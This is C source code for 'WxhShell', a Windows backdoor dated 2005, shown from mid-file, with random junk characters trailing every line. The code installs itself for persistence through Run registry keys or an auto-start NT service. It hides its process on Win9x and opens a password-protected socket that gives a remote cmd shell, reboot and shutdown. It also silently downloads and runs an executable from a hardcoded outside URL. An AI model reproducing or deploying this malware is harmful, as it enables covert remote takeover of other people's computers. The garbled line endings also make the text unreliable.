    } 9g"a`a?c  
    break; \PU|<Ru.  
    } ?.|qRzWL  
  // 关机 vrGRZa  
  case 'd': { |6`yE]3 -(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eXnMS!g%Z  
    if(Boot(SHUTDOWN)) qB3 SQ:y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qQ/j+  
    else { :uZcN  
    closesocket(wsh); zjM+F{P8  
    ExitThread(0); O9p8x2  
    } s~]Ri:7~  
    break; wjo xfPnf  
    } m]=|%a6  
  // 获取shell vhTte |(  
  case 's': { 6T"[M  
    CmdShell(wsh); cQu1WgQ G  
    closesocket(wsh); ?*tpW75hR[  
    ExitThread(0); YX18!OhQ  
    break; v)d\ 5#7  
  } ,S:g 5n>M  
  // 退出 50l=B]M  
  case 'x': { ~k+-))pf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [#)-F_S  
    CloseIt(wsh); `WC~cb\  
    break; 6 jRF[N8  
    } xO'1|b^&  
  // 离开 mxq'A  
  case 'q': { 3Q~ng2Wv%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); puL1A?Y8UM  
    closesocket(wsh); |0B h  
    WSACleanup(); bf'@sh%W  
    exit(1); /AjGj*O  
    break; 4ZQX YwfC|  
        } /tJJ2 =%l  
  } Ca*^U-  
  } #J, `a.  
QlSZr[^v  
  // 提示信息 9W 5vp:G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E{_p&FF  
} G7M:LcX  
  } u(\b1h n  
#8%Lc3n  
  return; '?v.O}  
} 'S)}mG_  
+*DXzVC  
// shell模块句柄 .B"h6WMz  
int CmdShell(SOCKET sock) ]. IUQ*4t  
{ /"~CWNa  
STARTUPINFO si; U:#9!J?41  
ZeroMemory(&si,sizeof(si)); mUm9[X~'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @;G}bYq^(I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y_Bmd   
PROCESS_INFORMATION ProcessInfo; "So+  
char cmdline[]="cmd"; 1$q SbQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F[l{pc "C  
  return 0; FlrLXTx0  
} ^$6EO) <  
pI( OI>~3  
// 自身启动模式 n3g3(} Q0  
int StartFromService(void) bv4lgRE6Y  
{ e#0R9+"Ba  
typedef struct ql2>C.k3L  
{ mG1=8{o^  
  DWORD ExitStatus; bEMD2ABm  
  DWORD PebBaseAddress; |jU/R  
  DWORD AffinityMask; V'mQ {[{R  
  DWORD BasePriority; -Z-|49I/mN  
  ULONG UniqueProcessId; $eCxpb..  
  ULONG InheritedFromUniqueProcessId; eXc`"T,C.  
}   PROCESS_BASIC_INFORMATION; f]qP xRw  
1Vp['&  
PROCNTQSIP NtQueryInformationProcess; ido'<;4>  
Cz+`C9#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,*+F*:o(m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^}a..@|%W  
\@N8[  
  HANDLE             hProcess; ?.LS _e_0  
  PROCESS_BASIC_INFORMATION pbi; x<>#G~-  
[GyW1-p33w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &_x:+{06  
  if(NULL == hInst ) return 0; }:])1!a  
;/XWX$G@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q;*TnVbJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S4n\<+dR<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2y>~<S  
`k+ci7;  
  if (!NtQueryInformationProcess) return 0; i/6(~v  
bz[U<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C?fd.2#U  
  if(!hProcess) return 0; [6`8^-}?  
^a0{"|Lq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CCNrjaA  
E].hoq7WiB  
  CloseHandle(hProcess); Bk_23ygO_  
%?Yf!)owh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w<!F& kQB  
if(hProcess==NULL) return 0; V8@VR`!'  
fZw/kjx@  
HMODULE hMod; e4fh<0gX  
char procName[255]; 2-s ,PQno^  
unsigned long cbNeeded; 6 6(|3DX  
i+ ]3J/J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *39Y1+=)$$  
 SP?~i@H  
  CloseHandle(hProcess); x"9`w 42\r  
tBd-?+~7  
if(strstr(procName,"services")) return 1; // 以服务启动 i%_W{;e  
pZ,=iqr  
  return 0; // 注册表启动 uZL,+Ce|  
} (u-K^xC  
w[YiH $  
// 主模块 iH<:wLY&J  
int StartWxhshell(LPSTR lpCmdLine) Ngi] I#V z  
{ 3q:U0&F  
  SOCKET wsl; Q'5]E{1<'n  
BOOL val=TRUE; O`j1~o<{  
  int port=0; Lp.dF)C\  
  struct sockaddr_in door; "Rr)1x7  
 Gf_Je   
  if(wscfg.ws_autoins) Install(); ?41bZ$j  
#Z#rOh  
port=atoi(lpCmdLine); eS-akx^@  
X [IVK~D}z  
if(port<=0) port=wscfg.ws_port; .)59*'0  
,P ~jO  
  WSADATA data; O_OgTa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p{ X?_F  
# 2;6!_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )lg>'O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U2<8U  
  door.sin_family = AF_INET; `v?XFwnV`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UR?biq  
  door.sin_port = htons(port); ;l`us  
6C k 3tCr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %;/?DQU  
closesocket(wsl); eocq Hwbv  
return 1; Iz^h| n  
} 6i'GM`>w  
o1lhVM`15  
  if(listen(wsl,2) == INVALID_SOCKET) { ) rw!. )  
closesocket(wsl); _}+Aw{7!r  
return 1; ~/^q>z!\4  
} iOY: a  
  Wxhshell(wsl); uJ-Q]yQ  
  WSACleanup(); WN#S%G:Q)  
Cq8.^=}_  
return 0; xnP@ h  
F3nYMf  
} j/ [V<  
SG \6qE~  
// 以NT服务方式启动 *).u:>D4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2(I S*idq  
{ wtM1gYl^  
DWORD   status = 0; 3qf?n5 "8  
  DWORD   specificError = 0xfffffff; 41uiW,  
K}|zKTh:?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ES,T[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w3Lr~_j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {,aX|*1Ku~  
  serviceStatus.dwWin32ExitCode     = 0; ~(*2 :9*0  
  serviceStatus.dwServiceSpecificExitCode = 0; \MqOHM.[  
  serviceStatus.dwCheckPoint       = 0; Jlp nR#@  
  serviceStatus.dwWaitHint       = 0; Sf*1Z~P|  
V#X#rDfJZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .n[;H;  
  if (hServiceStatusHandle==0) return; bT>MZK8b  
aAKwC01?  
status = GetLastError(); 6|uv+$  
  if (status!=NO_ERROR) 6}l[%8  
{ s!<RWy+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z@I'Ryalyc  
    serviceStatus.dwCheckPoint       = 0; tNoPpIu  
    serviceStatus.dwWaitHint       = 0; CiWz>HWH  
    serviceStatus.dwWin32ExitCode     = status; S^s|/!>  
    serviceStatus.dwServiceSpecificExitCode = specificError; \uPyvA =  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Xcqnu('  
    return; W6gI#  
  } uwl_TDc>%  
JAx0(MZO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x52#md-Z  
  serviceStatus.dwCheckPoint       = 0; Ty<."dyPW  
  serviceStatus.dwWaitHint       = 0; unKPqc%q=n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e&nE  
} f+!k:}K  
)Fgu'  
// 处理NT服务事件,比如:启动、停止 y0f:N U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R_W6}  
{ :W^\ } UX4  
switch(fdwControl) CY~ S{w  
{ t"JE+G  
case SERVICE_CONTROL_STOP: "7q!u,u  
  serviceStatus.dwWin32ExitCode = 0; F[(ocxQZ3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E)%D LZ  
  serviceStatus.dwCheckPoint   = 0; +pPfvE`  
  serviceStatus.dwWaitHint     = 0; ee/3=/H|;  
  { `^ZhxFX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gg e X  
  } z~"Q_gme  
  return; 5G2G<[p5oQ  
case SERVICE_CONTROL_PAUSE: j*\oK@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?lE&o w  
  break; Nj;5iy  
case SERVICE_CONTROL_CONTINUE: nuH=pIq6x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6(=B`Z}a  
  break; fUMjLA|*I<  
case SERVICE_CONTROL_INTERROGATE: iGPrWe@.  
  break; OxQ5P;O  
}; &V| kv"Wwj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Hnhd/ c  
} d.|*sZ&3p  
dbJ3E)rF  
// 标准应用程序主函数 Q.?(h! )9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "1$X5?%  
{ J}NMF#w/;  
e"y-A&|  
// 获取操作系统版本 >?O?U=:<  
OsIsNt=GetOsVer(); IClw3^\l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !YPwql(  
7Kf  
  // 从命令行安装 :w q][0)  
  if(strpbrk(lpCmdLine,"iI")) Install(); S B~opN  
-Uan.#~S  
  // 下载执行文件  !2kM  
if(wscfg.ws_downexe) { %QG3~b% h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fMIRr5  
  WinExec(wscfg.ws_filenam,SW_HIDE); k%3)J"|/  
} IL go:xQ  
0W0GSDx  
if(!OsIsNt) { D6~KLSKm  
// 如果时win9x,隐藏进程并且设置为注册表启动 Wv|CJN;4  
HideProc(); LC4VlfU  
StartWxhshell(lpCmdLine); r?itd)WC<X  
} o}DR p4;Ka  
else _dELVs7OL  
  if(StartFromService()) xax[# Vl4  
  // 以服务方式启动 3-btaG'P  
  StartServiceCtrlDispatcher(DispatchTable); +`bnQn]x+  
else  v%$l(  
  // 普通方式启动 ht*N[Pi4;  
  StartWxhshell(lpCmdLine); wz1nV}  
&?@[bD'T  
return 0; #|K{txC   
} tm/=Oc1p  
,4S[<(T"  
t>Ye*eR*`U  
?N<,;~  
=========================================== 4[i 3ckFT,  
XD?Lu _.  
BTD_j&+(  
EnGh&]  
&\I<j\F2/  
m.rV1#AI  
" i}:hmy'  
Q7<Y5+  
#include <stdio.h> oi]XSh[_s  
#include <string.h> gzlxkv-F{  
#include <windows.h> O&MH5^I  
#include <winsock2.h> whYk"N  
#include <winsvc.h> wK0x\V6dJ  
#include <urlmon.h> #8sy QWlG  
/lbj!\~  
#pragma comment (lib, "Ws2_32.lib") )H@<A93  
#pragma comment (lib, "urlmon.lib") rrR"2WuGO  
<o9AjASv\,  
#define MAX_USER   100 // 最大客户端连接数 $@@ii+W}\  
#define BUF_SOCK   200 // sock buffer 9i U/[d  
#define KEY_BUFF   255 // 输入 buffer &',#j]I  
^, YTQ.O  
#define REBOOT     0   // 重启 >-\^)z  
#define SHUTDOWN   1   // 关机 J90:c@O"w  
e,{k!BXU#'  
#define DEF_PORT   5000 // 监听端口 1) K<x  
X31%T"  
#define REG_LEN     16   // 注册表键长度 0C.5Qx   
#define SVC_LEN     80   // NT服务名长度 sxA]o|  
RhKDQGdd  
// 从dll定义API ;zze.kb&F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2q]ZI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c7{s'ifG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ovOV&Zt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QVRQUd  
#'O9Hn({  
// wxhshell配置信息 :%33m'EV}  
struct WSCFG { @GD $KR9  
  int ws_port;         // 监听端口 ?*$uj(  
  char ws_passstr[REG_LEN]; // 口令 {ZSAPq4)L  
  int ws_autoins;       // 安装标记, 1=yes 0=no bDIhI}P  
  char ws_regname[REG_LEN]; // 注册表键名 yUf`L=C:  
  char ws_svcname[REG_LEN]; // 服务名 b$0;fEvIJn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q!3-P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /s%-c!o^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )X," NJG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :R=7dH~r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I L7kpH+y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Du +_dr^4  
"=+i~N#Sc  
}; K|\0jd)N  
n^$Q^[:Z  
// default Wxhshell configuration 0[fBP\H"Wr  
struct WSCFG wscfg={DEF_PORT, @`+\v mfD  
    "xuhuanlingzhe", 'v^shGI%Ht  
    1, wLiPkW  
    "Wxhshell", _.R]K$U  
    "Wxhshell", O-ENFA~E;v  
            "WxhShell Service", @YRy)+  
    "Wrsky Windows CmdShell Service", ?/1LueC:  
    "Please Input Your Password: ", 5 (!FQ  
  1, ?u&|'ASo  
  "http://www.wrsky.com/wxhshell.exe", k%u fgHl!  
  "Wxhshell.exe" S&-F(#CF^  
    }; H"A@Q.'  
w2V:x[  
// 消息定义模块 $<XQv$YS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KztQT9kY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fQ"Vx!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 901 5PEO  
char *msg_ws_ext="\n\rExit."; TD*AFR3Oz  
char *msg_ws_end="\n\rQuit."; ^tSwAanP\  
char *msg_ws_boot="\n\rReboot..."; h?;03>6A&]  
char *msg_ws_poff="\n\rShutdown..."; A@?-"=h}  
char *msg_ws_down="\n\rSave to "; ns~bz-n  
rQNm2h  
char *msg_ws_err="\n\rErr!"; +~YoP>  
char *msg_ws_ok="\n\rOK!"; 2Mq@5n  
_t;^\"\  
char ExeFile[MAX_PATH]; -IVWkA)7  
int nUser = 0; OGLA1}k4  
HANDLE handles[MAX_USER]; G5OGyQp  
int OsIsNt; (VmFYNt&  
**z^aH?B2  
SERVICE_STATUS       serviceStatus; ~`Vo0Z*S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pzjNi=vhd  
8kSyT'k C%  
// 函数声明 ]8OmYU%6V  
int Install(void); h+!R)q8M  
int Uninstall(void); wj0_X;L  
int DownloadFile(char *sURL, SOCKET wsh); LjEMs\P\  
int Boot(int flag); +:jv )4^O  
void HideProc(void); 6Y6t.j0vN.  
int GetOsVer(void); Y1>OhHuN  
int Wxhshell(SOCKET wsl); RTbV!I  
void TalkWithClient(void *cs); rx;;|eb,  
int CmdShell(SOCKET sock); Z8/.I  
int StartFromService(void); ^V9|uHOJoq  
int StartWxhshell(LPSTR lpCmdLine); 4_CL1g  
=aQlT*n%3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DWx;cP8[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p:$v,3:  
eHKb`K7C.  
// 数据结构和表定义 |"KdW#.x  
SERVICE_TABLE_ENTRY DispatchTable[] = a(|0 '^  
{ ;XyryCo  
{wscfg.ws_svcname, NTServiceMain}, DzA'MX  
{NULL, NULL}  u+z  
}; W`oyDg,D  
.waj.9&[l  
// 自我安装 R}3th/qf  
int Install(void) K0o${%'@7  
{ MK! @ND  
  char svExeFile[MAX_PATH]; C8qSoO4Z  
  HKEY key; MQcIH2  
  strcpy(svExeFile,ExeFile); uTz>I'f  
{*g{9`   
// 如果是win9x系统,修改注册表设为自启动 {,6J*v"o  
if(!OsIsNt) { P_mP ^L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `-cw[@uD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x[)]u8^A  
  RegCloseKey(key); 9An \uH)mL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U6wy^!_X9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]Lg~ I#/#  
  RegCloseKey(key); ZQir?1=  
  return 0; )K::WqR%w)  
    } O[L#|_BnEO  
  } HE_UHv  
} (E,[Ad,$  
else { Unq~lt%2  
}M"])B I  
// 如果是NT以上系统,安装为系统服务 t5i58@{~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :kE*  
if (schSCManager!=0) (M u;U!M"P  
{ vg@5`U`^h  
  SC_HANDLE schService = CreateService r~7}w4U  
  ( yA*U^:%  
  schSCManager, c68y\  
  wscfg.ws_svcname, 5A 5t  
  wscfg.ws_svcdisp, -#G>`T~  
  SERVICE_ALL_ACCESS, ,Csjb1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P*%P"g  
  SERVICE_AUTO_START, <tsexsw  
  SERVICE_ERROR_NORMAL, i| ,}y`C#  
  svExeFile, H"Hl~~U  
  NULL, l= Jw6F+5  
  NULL, pV\> ?  
  NULL, Z-_Xt^N  
  NULL, .!lLj1?p  
  NULL a+O?bO  
  ); aR@+Qf  
  if (schService!=0) <-G3Qgm  
  { S1~K.<B  
  CloseServiceHandle(schService); m J$[X  
  CloseServiceHandle(schSCManager); r| \""  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YSfJUB!I  
  strcat(svExeFile,wscfg.ws_svcname); o@[o6.B<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #4"eQ*.*"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Sd.Km a  
  RegCloseKey(key); (~5]1S}F  
  return 0; /F|VYl^_  
    } Slv:CM M  
  } `)KGajB  
  CloseServiceHandle(schSCManager); ea`6J  
} ,z`D}< 3  
} <}c7E3Uc  
vpdPW%B  
return 1; :f_oN3F p  
} 0yMHU[):~  
%z-so?gF  
// 自我卸载 -byaV;T?"  
int Uninstall(void) hgDFhbHtd6  
{ 9jx>&MnWs  
  HKEY key; 9&C8c\Y  
I 0x;rP  
if(!OsIsNt) { ]:T:cO0_n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y@2"[fo3~  
  RegDeleteValue(key,wscfg.ws_regname); KyP@ hhj  
  RegCloseKey(key); +;pw^QB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pzQc UG  
  RegDeleteValue(key,wscfg.ws_regname); E[zq<&P@  
  RegCloseKey(key); saQo]6#  
  return 0; &t_TLV 8T  
  } e}7!A  
} =;) =,+V~q  
} Buq(L6P9r  
else { EKN<KnU%  
K&gE4;>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $83Qd  
if (schSCManager!=0) /P46k4M1U  
{ ,VUOsNN4\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -*ZQ=nomN  
  if (schService!=0) RF -c`C  
  { /n$R-Q  
  if(DeleteService(schService)!=0) { P%Q'w  
  CloseServiceHandle(schService); HB*BL+S06  
  CloseServiceHandle(schSCManager); 'Ce?!U O  
  return 0; d$E>bo-\   
  } 0a@tPskV  
  CloseServiceHandle(schService);  z.2UZ%:  
  } $/(``8li_  
  CloseServiceHandle(schSCManager); [(TmAEON  
} I4UsDs*BD  
} nG?Z* n  
? IlT[yMw  
return 1; H<g8u{ $  
} |DVFi2   
o"P)(;  
// 从指定url下载文件 @(N} {om  
int DownloadFile(char *sURL, SOCKET wsh) s9+lC!!  
{ -y3[\zNe  
  HRESULT hr; 2lN0Sf@  
char seps[]= "/"; [ws;|n h  
char *token; ft0d5n!ui4  
char *file; !mwMSkkq  
char myURL[MAX_PATH]; ,Tx38  
char myFILE[MAX_PATH]; ~-%z:Re'_  
ZdPqU \G^q  
strcpy(myURL,sURL); IC$"\7 @  
  token=strtok(myURL,seps); +~,q"6  
  while(token!=NULL) gOE ?  
  { o~4kJW #  
    file=token; /1.Z=@7  
  token=strtok(NULL,seps); e~,+rM  
  } E0!0 uSg&  
L7xiq{t`Y  
GetCurrentDirectory(MAX_PATH,myFILE); 9j-;-`$S  
strcat(myFILE, "\\"); M9~'dS'XI  
strcat(myFILE, file); f= }!c*l"  
  send(wsh,myFILE,strlen(myFILE),0); **1=|aa:  
send(wsh,"...",3,0); gdyWuOxa|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6-5{7E}/b  
  if(hr==S_OK) &H}Xk!q5b^  
return 0; 43,*.1;sz  
else el<[Ng[  
return 1; +J A\by  
XC}2GHO<  
} 30sA\TZ  
AxO.adQE%  
// 系统电源模块 `m"K_\w=/  
int Boot(int flag) wk^$DM/KJ)  
{ \]S)PDqR  
  HANDLE hToken; BPOT!-  
  TOKEN_PRIVILEGES tkp; <@4V G  
j~9Y0jz_  
  if(OsIsNt) { }y(cv}8Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KxFA@3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p-!/p#  
    tkp.PrivilegeCount = 1; 20Jlf?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L$,Kdpj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cmd7-2  
if(flag==REBOOT) { W~l.feW$i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #0^a-47PA<  
  return 0; N?A}WW#  
} :r:x|[3.  
else { C&EA@U5X^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AnZy o a  
  return 0; `J7@G]X;2  
} }<'ki ;  
  } tv]9n8v  
  else { =*6H!bzX  
if(flag==REBOOT) { HuN_$aP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4>B=k  
  return 0; (Bpn9}F-V.  
} R-4#y%k<  
else { <p` F/p-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dv^M/z2&[  
  return 0; k@>(sXs  
} )hVn/*mH  
} XN3'k[  
K&-u W_0  
return 1; j~9![s!  
} V9>$M=  
#??[;xjs!  
// win9x进程隐藏模块 T7Ju7_q}  
void HideProc(void) ~eiD(04^r*  
{ "b)EH/ s  
Kz]\o"K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1@~ 1vsJ  
  if ( hKernel != NULL ) eG.s|0`  
  { YWk+}y}^d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Tg=P*HY6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  Tx'anP  
    FreeLibrary(hKernel); x69RQ+Vw  
  } l @E {K|  
fP\*5|7%R  
return; -BwZ  
} ,~Lx7 5{  
{817Svp@  
// 获取操作系统版本 A9GSeW<  
int GetOsVer(void) :j32 :/u  
{ f]Rh<N$  
  OSVERSIONINFO winfo; 4P7r\ hs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X&M04  
  GetVersionEx(&winfo); LMp^]*)t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n6 c+Okj  
  return 1; $KoGh_h   
  else <?Z]h]C^o  
  return 0; e%=SgXl2t  
} |`AJP  
g-/ }*m l  
// 客户端句柄模块 g6?5  
int Wxhshell(SOCKET wsl) N{a=CaYi+  
{ :{KpnJvd  
  SOCKET wsh; $L'[_J  
  struct sockaddr_in client; F$YT4414  
  DWORD myID; # 3FsK  
1V,DcolRY  
  while(nUser<MAX_USER) sP>-k7K.  
{ 1T4#+kW&  
  int nSize=sizeof(client); b |ijkys  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rWN%j)#+  
  if(wsh==INVALID_SOCKET) return 1; TFXKCl  
'W&ewZH_h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -x!JTx[K  
if(handles[nUser]==0) >YcaFnY  
  closesocket(wsh); ^--8 cLB n  
else VLbbn  
  nUser++; (L W2S;-  
  } Fg i;%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !R[~Z7b6  
@"aqnj>+  
  return 0; (De>k8  
} PJ<9T3Fa  
#w!ewCvt  
// 关闭 socket *}>)E]O@  
void CloseIt(SOCKET wsh) =8Z-ORW51  
{ jK{qw  
closesocket(wsh); 5YgT*}L+,  
nUser--; Q-yNw0V}F  
ExitThread(0); {m_y<  
} :8A@4vMS)?  
9LSV^[QUH  
// 客户端请求句柄 ?*~sx=mC  
void TalkWithClient(void *cs) zu,Yuq  
{ dleCh+ny?  
T^#d\2  
  SOCKET wsh=(SOCKET)cs; $qR@;=  
  char pwd[SVC_LEN]; }>b@=5O  
  char cmd[KEY_BUFF]; NE| Q0g  
char chr[1]; onIZ&wrk  
int i,j; 8\+DSA  
`~N jBtQ  
  while (nUser < MAX_USER) { ehZ/J5  
vPrlRG6  
if(wscfg.ws_passstr) { nPjK=o`KR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @z`eqG,']  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @=BApuer+  
  //ZeroMemory(pwd,KEY_BUFF); cG1iO:  
      i=0; x+[ATZ([  
  while(i<SVC_LEN) { #[Rs&$vQm  
rrG}; A  
  // 设置超时 RW<4",  
  fd_set FdRead; m;ju@5X  
  struct timeval TimeOut; R_ )PbFw  
  FD_ZERO(&FdRead); m!3D5z]n9  
  FD_SET(wsh,&FdRead); bicbCC6kC  
  TimeOut.tv_sec=8;  +&<k}Mz  
  TimeOut.tv_usec=0; I |"'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bR?xz-g%<3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f @Vd'k<  
2dDhO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  *qFl&*h}  
  pwd=chr[0]; #S[Y}-]T  
  if(chr[0]==0xd || chr[0]==0xa) { UQbk%K2  
  pwd=0; x4v&%d=M  
  break; n|B<rx?v  
  } |*l^<==  
  i++; ~m[Gp;pL  
    } B) dG:~  
; FHnu|  
  // 如果是非法用户,关闭 socket 0#~k)>(7lR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h\+8eeIl  
} @S6@pMo,  
Z1] 4:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #L&/o9|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~6+>2|wIS  
e2L>"/  
while(1) { PO ,zP9  
zT93Sb  
  ZeroMemory(cmd,KEY_BUFF); d?V/V'T[  
f*VXg[&\\F  
      // 自动支持客户端 telnet标准   JkKbw&65  
  j=0; sj6LrE=1  
  while(j<KEY_BUFF) { Qkc 9X0J!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |\94a  
  cmd[j]=chr[0]; }]^/`n  
  if(chr[0]==0xa || chr[0]==0xd) { 3#eAXIW[  
  cmd[j]=0; -vc ,O77z"  
  break; t[MM=6|Wb  
  } "6v_<t`q"  
  j++; n$E$@  
    } S>jOVWB  
E%a&6W  
  // 下载文件 #c~- 8=  
  if(strstr(cmd,"http://")) { R 83PHM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ";DozPU  
  if(DownloadFile(cmd,wsh)) K>n@8<7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &kT!GU^n  
  else f+\UVq?  
